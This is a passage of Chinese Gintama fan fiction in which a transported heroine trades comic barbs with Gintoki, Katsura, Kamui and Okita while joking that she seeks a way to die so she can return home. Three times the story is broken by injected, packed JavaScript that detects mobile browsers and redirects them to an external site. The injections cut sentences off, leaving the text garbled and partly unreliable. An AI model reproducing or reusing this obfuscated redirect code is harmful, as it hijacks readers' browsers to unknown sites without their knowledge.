【啊,是刚才那位……】伊丽莎白的白板虽迟但到。 “初次见面,你们好,我是月见萤。”我立刻很有礼貌地弯身,把心虚踢到宇宙的尽头。 桂的表情微顿,看了一眼坂田银时,清澈的双眸满是疑惑,“诶?我跟阿萤是初次见面吗?怎么觉得我们认识很久了……” “不,那是你的头受伤了产生的错觉。”我坚定地道。 对不起了假发先生,我回去后一定给你祈祷,望你早日康复。 坂田银时睨了我一眼,表情有点阴险,凑近小声地道,“看你这副样子,假发的伤是你干的吧?” 他虽然用的疑问句,但语气很肯定,眼珠子转了又转,明显在算计我什么。 “怎么可能?我这么柔弱,怎么会对这位假发先生动手?”我看了眼桂,他也刚好在看我。 先前因为神威的关系没好好留意,现在一看他还真是个清秀的日式男子,面容十分秀美,但眉宇间透着英气,眼神非常清正,看起来有些柔弱但气质却意外的干净坚毅,是个难得的正气美男。 “喂,你看假发也需要这么认真吗?”坂田银时按着我的脑袋一脸没撤地扭过来,“别看了,假发不是你的菜,那家伙脑子里头都是草。” “能说出这句话你脑子里头也没什么好东西。”我拍开他的手,他反手就是一记拍在我后脑,猝不及防的我一头磕在他包扎得圆润的小腿上。 “啊——” “痛痛痛……” 我们同时惨叫出声,他叫得比较凄厉。 “银时,阿萤,你们没事吧?”桂大吃一惊地把我扶起来。 我抱着头低咒,而那个自作自受的白痴痛得飙着宽面条泪抱着腿在病床上打滚。 一时间我不知道该落井下石还是该同情他,这人把自作自受四个字演绎得淋漓尽致。这么离谱的事接二连三发生在他身上,他人品到底有多烂啊…… “所以说,你受了伤就安分点吧,脑子能不能不要想些不健康的东西?”我受不了地拉过桂挡去他怨恨的眼神。我毫不怀疑,如果他现在不是包得跟木乃伊差不多,这混蛋绝对会扑过来打一顿。 “被说中了吧?肯定是被阿银说中了才会恼羞成怒对阿银下毒手啊!”坂田银时愤慨地怒指。 “别误会,假发不是我喜欢的类型。”我没好气地道,忍下再揍他的冲动。 才一下子他又满血复活般,仿佛刚才满床打滚的人不是他,看来动漫里头过两三格画面就恢复是真的。 “不是假发,是桂!”桂摸着下巴道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824324|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “重点是这个吗?”我又想捂脸了。眼前的男子看起来很正常,没想到是脑洞这么大啊,“男人太好看果然不行。” 好看吗?都是用脑子换的。 “知道了知道了,你就喜欢肌肉男。就跟比起高天原那些美男你更常去人妖酒吧一样是吧。”坂田银时想挖鼻,手包得严密看起来像是给自己一拳。 大概也意识到自己的动作有点蠢,那手装模作样地摇了摇又指了过来。 “我也就去了两三次而已!”我震惊地瞪着他,这人怎么知道我对西乡家那堆人妖十分好奇? 谁能想象我长那么大从来没见过那么彪悍和壮硕的人妖,还是那种须根都未刮清但姿态比我还要妖娆还要自在的人妖,实在是对我的吸引力太大了。 这种东西回去了可就看不见了。 “该说还好不是高天原吗……还真的是……”他烦躁地按着已经恢复的卷发,“话说回来,你不是要去死吗?怎么还活着?” 我抱手,抬起下巴理所当然地道,“我在实践中摸索,为了能一击即中地逝去。” 再次被我理所当然的话噎到一般,他忽然捂脸,声音低沉,“我就知道你这混蛋准没好事……烦死了,你赶紧去死一死吧!” “太过分了,银时,你怎么可以叫阿萤去死?”桂听到我们的话,正气凛然地指责他。伊丽莎白也举着白板附议。 “不是阿银叫她去死,是她一心求死啊。”坂田银时死鱼眼睨过来,没精打采地道,“过分的是她好吧,阿银这一身伤就是拜她所赐。” “是你忽然撞过来的……就算没我,你也差不多这个结果好吧。”哪怕最后是他替我挡去了大部分物理伤害,但没有我他也一样会受伤,所以我不背这个锅。 “阿萤,你是不是遇到了什么事情?是拉面店那个痴汉让你想死吗?”桂想起拉面店那一幕,“不用怕,我们会帮忙的。不过,他还蛮讲道理的。” 不,你真的信了那个说辞吗?我无语,转头问银时,“他一直这么好骗的吗?” “啊,他只是有时候脑子掉线而已。不对,你又惹了什么风流债吗?不是要死吗?你就是为了躲债才想死吧?”坂田银时一副发现真相的表情看起来十分欠揍。 “请你的脑子也上线一下好吗?我才不是为了这种理由……” 真正的理由不能跟他们说,特别是坂田银时。我怕他会直接把我抓去给神威献祭,然后让我回到那个时候给他报彩票号码。 别怀疑,我总觉得坂田银时能干这种混事,还会忽悠我分钱什么的,而我肯定抵挡不了这种诱惑,故而只能在源头掐灭这种可能性。 【阿萤小姐,有困难要说出来哦,我们都能帮忙的。】 我失笑,这里头最靠谱的居然是谜样生物。摇摇头,我拉开房门,“谢谢。但不用帮忙什么的,我不需要被拯救,只是纯粹想要结束这一切。” 所以,他们帮不了我,除非杀了我。 “吉原那个时候,不是怕死的很么?”坂田银时的声音从身后传来,提醒我之前寻求他保护的事。 不知道是不是我的错觉,总觉得说这句话的他声音跟平时不一样,有种认真并且压抑的低沉。 “那是因为,”我头也不回地伸出手摆了摆,“被那个人杀掉不能结束这一切而已。” 关上门的时候,我还感到他们的目光落在我背后,但我没有回头。 “啊——她还没答应给阿银买一星期份的草莓蛋糕!” 呵,去他的低沉!我要给他带低糖面包,还有珍珠奶茶,去糖加冰。 8. 喜相逢 我现在的家是在一条叫歌舞伎町看起来挺普通的街里头,楼下是卖鱼的店铺,我住楼上。 入住歌舞伎町是一个非常凑巧的事情,那时候急着离开吉原,日轮帮忙介绍了一位开酒馆的老板娘,据说人脉很广,不用搞那么多手续又有不错房子,于是我就搬进来了。 不得不说,这条街的人还挺好相处的,有专门坑男人钱的微笑酒馆和全部都是人妖的店,有各式美男但不怎么吸引我的高天原……另外,那名叫登势的老板娘人非常的好,连同她店里的猫耳娘和机器人女仆对我都十分关照。 哦对了,我后来才知道她也是坂田银时的房东……怪我没有抬头看招牌的习惯,没发现酒馆的上头挂了万事屋的招牌。不过看登势根本不想提起他这个丢人房客的样子,他们在房租上应该有非常大的摩擦。 虽然同住一条街,但我跟万事屋见面次数并不算多,跟他家的狗反而见得比较多。他家大狗可喜欢我了,每次见到都要扑过来让我揉弄一番。 那三个人好像很忙,而我是那种要不宅在家,要么整天往外跑的类型,故没什么特别交集,倒是有时候在人妖酒吧听说他们没钱的时候会去兼职。 我很是好奇,他们也会像东美这样娇娆地扭腰跳舞吗? 逛了一天商业区,发现那里的高楼还挺适合跳,我盘算着最适合的地点,走上楼梯。不得不说,go die 作为一个动作的时候还真是挺难实现的,要克服心理上的各种障碍。 归根到底我就不是一个悲观主义,一定程度上甚至十分热爱生命,说白了,就是怕死。如果不是想要回家,我对死亡的考虑应该要延迟至少五十年。 人类啊,过了那个情绪高亢的点,就会变得如同春日阳光下迟缓挪动的虫一样,懦弱且懒惰。 刚进屋关上门的那一刻,身体的所有警报像是共鸣般瞬间打断我的思绪。 血的味道隐约在空气中消散,有人进屋子了! 我动作迅猛地回过身,手才刚放在门把上,血腥味已袭至身后。猛然地,一只带血的手越过我颊边撑在门上。 “哟~重启键小姐~” 清亮带笑的嗓音如同死神的召唤般快要击垮我的理智,我慢动作地回头,神威那张俊俏的脸蛋带着标志性的笑容出现在我身后。 还是那身黑色的中国服饰,浑身带着血迹,长辫子的发尾也染了红色,看起来却没有一丝狼狈,整个人都沉浸在激战后的愉悦中。 ……卧槽,他有那么想念凤仙吗?追到我家来了? 很好,坂田银时不用担心我不死了,就是他心心念念的索赔款大概率没有了……啊不对,感觉他会想办法继承我的遗产。更不对的是,为什么我会这样想?是因为最近只跟万事屋接触多吗?还是主角效应? 胡思乱想好一会,眼前的笑容很有耐性地保持着,我收回涣散的思绪,噎了噎口水,“你……来干嘛?” 神威表情有瞬间的疑惑,但极快转为看不出杀意的笑容,他竖起手指,“我受伤了。” 我有点不解,“要我叫救护车吗?” 似是没料到我这样说,他头顶的呆毛很活泼地转了转,血淋淋的手伸到我面前,“给我包扎吧,重启键小姐。” 那表情仿佛我不识相的话,下一刻那手就能劈在我脖子上。我顿了一下,“知道了知道了,不要重复这种危险的称呼!” 重启什么的,不要再提醒我了。 翻出绷带和棉花,我边给他做消毒边打量着眼前收了笑容看起来有点恐怖的少年。他的伤是子弹和刀伤,算不上致命,甚至一些小伤很快开始愈合了。我想起之前查资料,夜兔的自愈能力好像不错。 借着包扎的机会,我还是第一次那么清晰地打量这个人。 不具威胁性的长相,甚至有几分可爱的稚气,但我见过他杀气腾腾的样子,知道他绝不是良善之辈。甚至,他以杀戮为乐,但又跟那些纯粹的杀人狂徒不一样。神威追求的是跟强者对决,然后成为更强者,而不是单纯沉溺在杀人的乐趣中。 我开始怀疑,他不想杀我。因为这种人不会回头看,重来一次什么的他兴趣不大。这样推测的话,他应该不想我死在自己手里,他不需要重来一次。 “别那么苦着脸嘛,我暂时还没打算杀掉你哦~”神威咬着绷带打了个结,笑眯眯地看过来,“不是吉原的游女吗?很不敬业哦~之前明明还会弹琴招呼客人的。” 我又没真正当过游女,我怎么知道如何招呼客人?我只知道到别人家做客是要客随主便的! 我处理完他的伤,谨慎地坐在沙发另一边,“我从良了,现在是良家妇女。知道什么叫良家妇女吗?就是每天挂着晚娘脸操持家务还要忍受上班怨气的打工人。” “诶~”神威有听没有懂,可爱地偏了偏头,“那我们来打一架吧~” 你礼貌吗?我什么水平你没点数?我瞪着他,毫不掩饰我的想法,“你觉得我能接你一拳吗?” “那也是,你现在看起来弱得不能拿来打发时间。”神威也毫不掩饰他的鄙夷,口吻没有失望也没有失落,抬手舔了舔手指上的血迹。 “我谢谢你啊。”我随口怼回去。 作为雄鹰般的女人,可以一时憋屈,但不能一直憋屈。嘴炮也是炮,不就是死么?又不是没死过,我们人类这种生物,一旦无所畏惧,那就无所顾忌了。 “我没夸你哦。”神威偏头,看起来很可爱。 那扑闪扑闪的眼神让我一时只觉气闷,“我也没真心谢你……” 这家伙在这种时刻那么天真确实让人讨厌。 “这样啊,”神威看着我,露出一个没有威胁的微笑,一副乖巧小奶兔的样子,“那我们来一发吧~” 我交叉双手在胸前,死鱼眼瞪过去,“不要!说过了吧,我对年下小子没兴趣。” 无论是来一刀还是来一发,我都不想要跟他有任何关系。 “残念~”他露出可惜的样子,但眼中没有任何情绪,干净得如同盛夏的天空。忽然,他翘挺的鼻子动了动,“嗯?是血的味道,你身上有血的味道……” 正在来大姨妈的我不想跟一只不知道成年没的夜兔解释人类成熟女性每月一次的出血经历,没好气地翻了个白眼,“我刚给你包扎来着,有也是被你沾上的。” “是吗?”神威眯眼,不太相信的样子。 我看了看他,确定他真的没杀我的意图后也放松了些,连忙换了个话题,“你怎么知道我住这里?” “阿伏兔查到的,他好像对你挺有兴趣的~”神威很配合地回道,蓝眸不带杀气的时候跟神乐真的蛮像。 啊哈……这个一点都不值得高兴。我叹口气,有点后悔在北斗心轩随口编造的借口了。“然后呢,你来找我不会只是为了找个地方包扎吧?” 神威眨了眨大眼,好不天真地看向我,“我饿了……钱都在阿伏兔那里。等我找到他,就干掉他算了……居然抛弃团长卷款私逃。” 我微愕,这个理由我真的不知道该怎么吐槽。小哥你在地球的人缘这么差劲吗?不是宇宙海盗吗?没钱不会去找小混混抢啊? 说你遵纪守法吧,你来威胁我;说你是强盗吧,你没去大街上零元购。啊呸,合着就我一个倒霉? 好想揍他…… 再次叹口气,我的胆子和实力都跟不上我的脑子……垂头认命,我抹了把脸,“先说明啊,我家只有米饭……” 神威笑眯眯地点头,乖巧得像是等待投喂的兔子……这个想法堕落得让我脊背一寒。 翌日。 我瞪着把我家大米全部吃光并且霸占了我的床一整夜的夜兔小子,打了个哈欠,“为什么你逃亡还要我来掩护啊……” 没错,掩护,这个混蛋早上把我的鸡蛋都吃光后还要挟我送他来港口找同伴!作为一名宇宙海盗,居然要一个无辜市民来掩护,太扯淡了。不知道人类女性来大姨妈是很脆弱的,需要充足的睡眠和保持愉悦的心情吗? 大斗篷把全身上下都包的严实的神威头也不回,笃定我没胆子反抗般笑着道,“别这样,我还不想跟你分开嘛~” “不要这么敷衍地说那么恐怖的话啊混蛋。”我才不信这种鬼话,除了他还没想要杀我这事外,其他我都不信。 “诶~”神威停下脚步,转身看着我,“怎么,你讨厌我么?” “确实不怎么喜欢。”就算是这个离谱的世界,也不会有人喜欢一个杀自己数次的宇宙海盗吧? “啊哈,杀了你哦~”神威也不怒,只是笑眯眯地比了个手刀。 “来,杀吧,我们一起回去见凤仙,怎样,这一次你来杀他吗?”我破罐子破摔般摊手。 他要是真杀我,这一次要是能短暂回到我原来的世界,我要搜神威的致命弱点!然后,重来后马上去找坂田银时,让他先干掉神威。 啊?问我为什么是找他?废话,我像是能干掉神威的吗?以彩票号码作为报酬的话,坂田银时应该会答应……吧。 神威不知道我阴险的打算,只是以食指点着下巴想了想,笑着摇头,“现在的我对凤仙已经没有任何兴趣了。而且,我是说真的哦~你还是挺有趣的,要来春雨吗?” 我莫名地觉得危险,警惕地退后一步,“我该说谢邀吗?港口到了吧,你不是说下属在这边的吗?我们就这样再也不见吧。” 神威偏了偏头,露出一个单纯得没有任何阴霾的笑容,“啊啦,他们好像被追击了呢~真是意外的缠人呢。” 那又怎样?你们本来就是宇宙海贼啊,被追击很惊讶吗?我翻个白眼的功夫,两米外的他已瞬间凑近,身体还没反应过来那张笑脸已在眼前。 “呐,重启键小姐,不要太容易被人杀掉哦~不然……我会亲自多送你几次死亡体验呢~” 笑语犹在耳边,我整个人已被他甩开,急速往后砸去。下一刻,枪声从我身后响起,神威身手极快地跃后闪过枪击,消失在那些集装箱后。 急促的脚步声传来,一队人马从我身后持刀追了上去,我蓦地缓了口气,愣愣地抬头看着在千钧一发之际接住我的人。 一头金发飞扬,身穿超短两截式和服的女人一手勾着我的腰,一手拿着枪,明媚脸上满是不耐烦的神情,“切,被他逃了。” 这,这是追击神威的人?腰间的力一松,我腿软地跌坐在地上,仰头看着她。 她仿佛现在才留意到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……不认识也不了解。”男子默了一下,悠悠地道。随后,漂亮的手指轻旋,他手中的烟管被收入怀中,男子站直了身姿看过来,莫名给我一种高居临下的气势,“快走吧,蠢货,别死在这种地方。” 说罢,男子转身便走。又子看了看我,欲言又止般,最后也没说什么,快步跟上那人的脚步。 我怔在原地,好一会儿才反应过来,“卧槽,肯定是以前的熟客,没想到他居然是个好人!” 他不但放过我,还提醒我这里危险,他人还怪好的! 真是看不出来啊……我连忙收敛心神,赶紧离开这个罪恶滋生的地方。 “哟,阿萤,这是去哪里鬼混了?一副很累的样子?” 一回到歌舞伎町,便听到有人唤我。 我抬头,看到登势酒馆老板娘那张浓妆艳抹的脸,忽然有点想哭,张手就扑了过去,“登势婆婆,我要投诉,这条街的安保不太靠谱呜呜……” “喂!老太婆的粉底都要被你蹭掉了混蛋!” “入室抢劫?” 半响后,登势酒馆内,带着猫娘耳朵的凯瑟琳和机器人女仆小玉惊讶地围着我。 “阿萤大人你没事吧?有没有受伤?” “老娘都退出江湖了,这条街居然还有人做这种事?”比起小玉的关切,凯瑟琳的重点有点偏了,理所当然地被登势老板娘揍了一拳。 “你人没事吧?”登势上下扫视了我一遍。 “如果心灵算的话,我应该重伤了。”我抱着小玉蹭了蹭,这么温暖的机器人在我的世界是不可能的,好想买一个回去,能蹭多蹭。 “阿萤大人的脸色比平时憔悴了很多,就像纵欲过度的老女人一样,连化妆也掩饰不了的疲惫。”小玉摸摸我的头,很认真地分析。 “你的比喻数据可以让我全部清除再重新录入吗?”摸了摸眼下的青黑,我昨晚一夜都不敢睡,生怕那只夜兔半夜醒来无聊干脆杀掉我。这种不确定的折磨比一刀更难受,要不是我神经比较大条早就自暴自弃地抓着神威让他要杀要砍干脆些了。 “真是没想到最近治安这么差,看来要让街道搞些安全教育了。那,你家损失严重吗?”登势递给我一杯温水,关切地问道。 “我家的粮食都被清了……”我一本正经地道。 三个女人表情阴影了一下,登势作为代表问道,“还有呢?” “还不够吗?”我讶异地数了数手指,“一个月份的粮食啊!” 忽然,大门被拉开,一个红色的身影雀跃地蹦进来,“老太婆,你们这么早就开始营业了吗?啊嘞,阿萤姐怎么也在这里?” 团子头的少女笑容灿烂,一双蓝眸没有任何阴霾般散发着朝气,一蹦一跳的样子十分明媚。喜庆的红色旗袍衬得她脸色红润,皮肤白皙。 那张可爱的脸庞瞬间让我代入了神威,兄债妹偿,我想也不想地勾着她的脖子,如怨鬼般阴恻恻地威胁道,“神乐,赔我一个月的粮食啊!” 站在门外的坂田银时和新八两人听到这话,同时伸手果断地拉上了门,“不好意思,走错了。” 9.情侣档 不知道是不是我错觉,总觉得有人跟踪我。 我第N次停下脚步,回头看了看。街上来来往往都是人,但没有人把目光停留在我身上。 “奇怪,难道是我的错觉?”自打神威来过之后,我就有点疑神疑鬼,生怕有人在暗中监视我。 我拐进一家很多人排队的甜品店,以店铺的宣传单遮挡整张脸,小心地打量四周。很快,队伍轮到我了,我才发现这家甜品店正在搞活动。 “情侣名额的最后一位了哦~小姐,请问你是跟男朋友一起来的吗?”漂亮的女服务员笑眯眯地问道。 我把视线落在宣传单上,这家店平时已经很受欢迎,如今限额情侣买任何饮料半价还送两个拉布拉布冰淇淋。难怪今天排队的人比平时还多,不过情侣啊…… 默了一下,我回头,身后的栗发少年抬眸对上我的目光。 少年一身黑色西式制服有点眼熟,那双暗红色的眼睛看起来有些无神,但细看之下流转着一抹玩味。 下一瞬,他迈前一步与我并肩,我流畅地勾着他的手臂,声音甜腻地道,“Honey~我要那个果汁,large size。” “没问题的,Darling,那我要这个特饮,large size。”少年表情平静,非常配合地道。 话音一落,后脑随即一痛,我和少年的头同时被两只脚丫狠狠踩上,冲力之大我俩齐齐砸进玻璃柜中。 “混蛋——为了半价你们连节操都不要了吗?”坂田银时欠揍的嗓音响在身后。 我拔出头,狠狠地瞪过去。 一头银发的男人黑衣黑裤,蓝纹白底的和服半套在身上,只见他和身穿红色旗袍的团子头少女神乐勾肩搭背地朝我和少年露出嘚瑟的笑容,“情侣可不是你们这种毫无默契的陌生人随便能冒充的……最后一个半价名额,是我们的了。” “旦那,这可不成啊……”少年揉了揉脸蛋,口吻波澜不兴地反驳,“你们该不会是插队吧?” “少啰嗦,我们可是干掉了你们后面的人排上来的啊鲁。”神乐嘚瑟地比了比自己,眉眼飞扬中带着志在必得的胜负欲。 我翻着死鱼眼拿出手机,“喂喂,请问是PTA吗?我要投诉银他妈里头有大叔染指未成年少女……唔!” 话还没说完,坂田银时一个箭步捂着我的嘴,顺手摁掉了电话,“啊哈哈,别冲动,那就是个玩笑而已!PTA误会的话是会让动画腰斩的!” “你们不是完结了吗?” “有机会就会重播的!” “不用投诉,我就是警察,有问题可以跟我说哦~”栗发少年轻眯红眸,露出坏笑附和道。 “喂喂,这可不是你们管的吧,总一郎君~”坂田银时跟少年应该挺熟悉的,语调痞里痞气。 “是总悟。”少年懒懒地纠正,转身对服务员道,“请问我们的点餐可以了吗?” “喂,是情侣才能半价,你们不是情侣吧?”神乐挑眉,不怀好意地拆穿我们。 “China girl,你们也不是啊。”总悟漫不经心地提醒。 “没错,我和总悟君可以从这一刻开始成为情侣。”我掰开坂田银时的手,一本正经地朝总悟少年伸手,“服务员请帮忙点餐……” “珍惜一下你的节操啊混蛋!”坂田银时一掌拍在我头上。 “别开玩笑了,除了这个大叔,我还有新八这个备胎!青春期才是发情的高峰啊鲁!半价是我们的哇哈哈哈,谁也别想抢了这最后的名额!”神乐一把扯过我的餐单,总悟眼疾手快地阻止她的点餐行为,两人以我看不清的速度交手。 “神乐,餐单还有很多,不用抢啊。”新八慌乱地摆着手,却一点也插不进那两人之间。 我目瞪口呆地看着两人过招,“不就是半价而已,至于吗?” “开什么玩笑,有便宜在眼前却被别人占了的话,在我们万事屋是要切腹的。”坂田银时挖着鼻孔咧笑,手肘搁在我肩膀不让我动。 为了这种事?我斜睨他一眼,闪过他企图把手指的黑色物质抹在我衣服上的手,“请珍惜一下你们的生命好吗?” “啊喏……”笑容有点牵强的服务员小姐放弃打得火热的两人,看向我们,“你们还要点餐吗?不然让后面的……” “要!”我和坂田银时异口同声地道。 “只有情侣才可以享受这个优惠哦~” 我们对望一眼,他搭上我的肩膀,我抱着他的腰,“这是前男友(女友),我们刚刚复合了。” 开玩笑,有便宜不占是白痴! 身后劝架中的新八眼镜反光,平静地道,“请珍惜一下你们的人品好吗?” “不够分哦……”我数了数,冰淇淋已经被银时和神乐抱着了,我和总悟选的饮料。我看向非常乖巧地站在身后的新八。 新八不好意思地摆摆手,腼腆地道,“我就不用了,谢谢阿萤小姐。” 我和坂田银时对望一眼,他依旧搭上我的肩膀,我依旧抱着他的腰,另一只手勾过新八的手臂,“其实,我们是三角恋,江户版的燃冬,所以冰淇淋可以多一个嘛?” “你们……够了哦!” 情景转换,我看着吃到冰淇淋满足得脸蛋都浮现红晕的万事屋三人,啼笑皆非,“不就是草莓味的冰淇淋而已,有那么好吃吗?” 吃得眉眼俱弯的神乐抽空回了我一句,“这可是免费的拉布拉布冰淇淋啊~” “别怀疑,他们就是这么又抠又穷的神奇存在。”冲田总悟喝着果汁,勺子在神乐的冰淇淋边上蠢蠢欲动,不怀好意的目光寻找着她的破绽。 神乐警惕地转了个身,呸呸呸地在自己的冰淇淋上喷了几口。冲田总悟顿时无语得翻白眼,神乐嘚瑟地嘿嘿直笑。 “冲田君,你也没花钱好么。”是的,我们五个人只有我花了一杯饮料的钱。 因为我记起冲田总悟就是之前我办理户籍时帮忙的警察,所以也没收他的一半钱。好吧,也是划算的……跟警察打好关系什么的。 我咬着吸管,打量着眼前有些慵懒的少年。看起来很乖巧的小帅哥,但我忘不了办理户籍那天他扛着加农炮对准自己的同僚笑眯眯地开炮的样子。虽然他的炮口只对着那个名叫土方的男人,但被轰后爆炸头的经历也确实很难忘。 “喂喂,看够了吧,他可不是肌肉男啊。”头上一痛,坂田银时咬着冰淇淋的勺子随意地拍了我一记,温厚的嗓音带了抹调侃。 “你到底对肌肉男有什么执念啊?”我踢他一脚,谨慎地把手上的果汁转了个方向。不是我多想,他垂涎的眼神就看着我的large size 果汁。 “有执念的是你吧。”坂田银时跳脚避开,没好气地瞪过来,“不是说去死吗?怎么还这么有活力啊?” 这人对我找死有那么大的意见吗? 我拿着果汁上下左右地摇手,好笑地看着那双绯红的眼珠子随着上下左右地转,“我在找一个配得上我的华丽死法啊。” “这种东西哪有华丽的说法啊?你要是脑子正常的话,不如想想怎么华丽地活着吧。”坂田银时追逐着果汁的眼神没空瞥向我,口吻要多嫌弃就有多嫌弃,“就跟吃多了牛排还是会想吃饭团一样,只有米饭才能让人有满足的饱腹感。一切都要回归到最初,所以人要死的话就去切腹好了,阿银可以伟大地给你介错哦,只要你把遗产都留给我……痛!” “你能再无耻一些吗!”我一把把吸管插进他鼻孔。 “银桑,你的血喷到我的冰淇淋了混蛋!”新八惊骇地叫道,嫌弃的。 “银酱最后那句话先不要说出来啊鲁,遗产的事让阿萤姐答应切腹后才忽悠嘛!”神乐扼腕地摇摇头。 冲田总悟懒洋洋地喝着果汁,没什么精神的眸子眨了眨,“旦那,当着警察的面教唆他人自杀可不行哦,遗产什么的当然是充公了。” 这群人到底是什么玩意啊! 我忿忿地喝光果汁,把杯子丢进店里的垃圾桶。之前觉得歌舞伎町的人好相处简直就是我的错觉啊,他是警察还是流氓啊。 “一直暗戳戳想要炸掉自己副长的人也没什么资格说我们吧?”坂田银时捂着血淋淋的鼻孔,翻着死鱼眼瞪他,“死心吧,阿银诅咒你这辈子都坐不上副长的位置啊。” 冲田总悟把杯子丢进垃圾桶,插着兜笑了笑,“太过分了,这种诅咒根本没有灵验的必要。” 副长啊,我记得真选组的副长是那位土方先生,是个有着三白眼看起来很凶但其实心肠特别好的男人。上次办理户籍就是他给我指引的,明明不是他的本职工作但也很尽责地帮忙。 “那位土方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832516|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先生可不是这么容易干掉的吧。”比起总悟,我觉得那位土方先生更靠谱,被炸后追着他打的时候挺威猛。 “所以诅咒什么的没必要啊。对了,月见你之前投诉治安有问题吧?”冲田总悟意兴阑珊地摆摆手,说起另一件事,“最近有人报案,这附近有辰罗的踪迹,月见你这种有前科的还是小心一下吧。” “嗨?【第三声】”我+银时+神乐+新八。 神乐想起之前被我坑了一顿的事,脸色瞬间就不好了。虽然兄债妹偿,但最后这个妹子非常奸诈地拗成了没有拿到工资的员工的债由不发工资的穷鬼老板来偿,所以这个月叒发不出工资的银时和拿不到工资的新八想起这件事脸色都一起阴影了。 “不是,什么叫有前科?我是受害人好吧……” 不过辰罗好像是这个世界的三大雇佣兵之一,这种东西雇佣来杀我的话,应该可以让我不知不觉间死掉吧。 我之前就有留意过,但他们很少到地球,要找起来比较麻烦。如果现在有现成的,好像也没什么不行。 可是,雇佣他们的人是我,我会一直疑神疑鬼,陷入准备要死的焦虑里头……这个也很郁闷啊。据说,辰罗是用刀的种族,应该会挺疼的吧。 “想也别想,这种好事只能留给我们万事屋啊!”坂田银时仿佛窥探到我想法般抡起拳头砸在我头上,气急败坏地骂道。 “痛死了,你对一个淑女这么粗暴会遭天谴的混蛋!”他揍得多大力啊,我头上都起包了!我抱着头用力踩他一脚,“本天才的脑子都要被你打笨了!” 坂田银时抱着脚跳开,“这里哪有淑女?再说,你的脑子早就没了吧,才会一直说找死。” “你到底要纠结这个多久啊!”我想也不想按着他的头砸进一边的电灯柱里头。 “银酱/银桑!”神乐和新八连忙跑过来把他拉出来。 冲田总悟朝我吹了个口哨,“月见小姐很厉害哦~看来是不需要太担心辰罗了。” “不,我平时不是这样的。”我吹了吹手掌的灰尘,有点无语这人总是轻易把我的暴力因子全部撩起来,明明我平时都很淑女的。 在万事屋勒索我之前,他们的生意找上门了。新八的偶像后援会成员有人转会,死忠粉丝找上门咨询,趁着他们干正事(?)之际,我赶紧闪人了。 回家的路上,我又有那种被窥视的感觉,但每每回头却又找不到一丝可疑。想起冲田的话,我有些纳闷,总不会是有人雇了辰罗来杀我吧。 老实说,我想不出这个世界除了坂田银时谁还能跟我有仇……但他的话,哪有这个钱雇辰罗?登势老板娘不止一次吐槽他欠了几个月租金了。 我摇摇头,把这种荒谬的想法丢开。 一踏上楼梯,我家门口一闪而过的金色让我顿时警惕。飞快地爬上楼梯,门前已没有任何异样。 是错觉吗?总觉得那飘扬的金色好像有点眼熟,但只是一面之缘,她总不会来找我叙旧吧? 刚想开门,门边放着的袋子引起我的注意。 “是礼物还是炸弹?”听新八说曾有人让他们去某星球大使馆送炸弹的往事,我也有些不确定。 小心翼翼地倒出袋子里头的东西,那是一个印着歌川一派风格画像的盒子,看起来不像是炸弹。打开盒子,里头静静地躺着一条造工精致的黄金项链。 “好漂亮哦,是谁放在这里的?”我拎起项链,上面有菖蒲造型的装饰,看起来小巧精致。“难道是我的爱慕者送的?” 该不会是以前的客人吧?没理由啊,离开吉原后我就断了那边的联系,登势老板娘也没跟日轮说过我住这里。 袋子里头没有其他东西,片言只语也没有,如果不是送错了,那就真的是爱慕者送的了。 虽然有点可疑,但……出门没捡到东西都觉得丢了什么的这种原则除了万事屋外,我个人也是认可的。既然放在我家门口,除了我也没有人住这里,那就是我的东西了。 项链的款式确实击中我取向,我不知道菖蒲在这个世界有什么花语,但在我的传统的认知里,菖蒲有团聚和幸福的寓意,是怀念,也是美好。 反正我有钱,如果有人找上门,我就买下来呗。 抱着这种理所当然的想法,我笑着开门,把那种若有若无的窥视隔绝在我家外面。 10.训狗吧 拉开北斗心轩的门,那个胖嘟嘟的诡异布偶外形的谜样生物就这样看了过来,我有刹那的恍惚。 “欢迎光临,啊啦,是阿萤啊~” 几松客套的笑容在看到我后多了几分随意,招呼着我坐到料理台这边,“还是老样子吗?” 我笑着点点头,在伊丽莎白举起牌子跟我打招呼时好奇地问道,“哟,伊丽莎白,怎么不见假发?” “不是假发,是桂。”伊丽莎白的身边忽然冒出桂的头,一本正经地朝我道。 啊哈……我不好意思地笑了笑,假发确实比桂顺口,“你们也来吃拉面啊。” “他们跟你一样,也是我的熟客哦。”几松利落地把我的有葱味但免葱中辣溏心蛋特制厚切牛肉拉面放在我面前,笑意盈盈地介绍,“跟你一样状况百出。” 想起之前遇到神威的事,我不敢抬头地双手合十求饶。 “啊,伊丽莎白,那是我的鱼片!”身边的两只以筷子为武器争抢着对方碗里的配菜,速度之快让我目瞪口呆。 我还以为桂是很传统正派的人,没想到闹起来跟小孩子差不多。 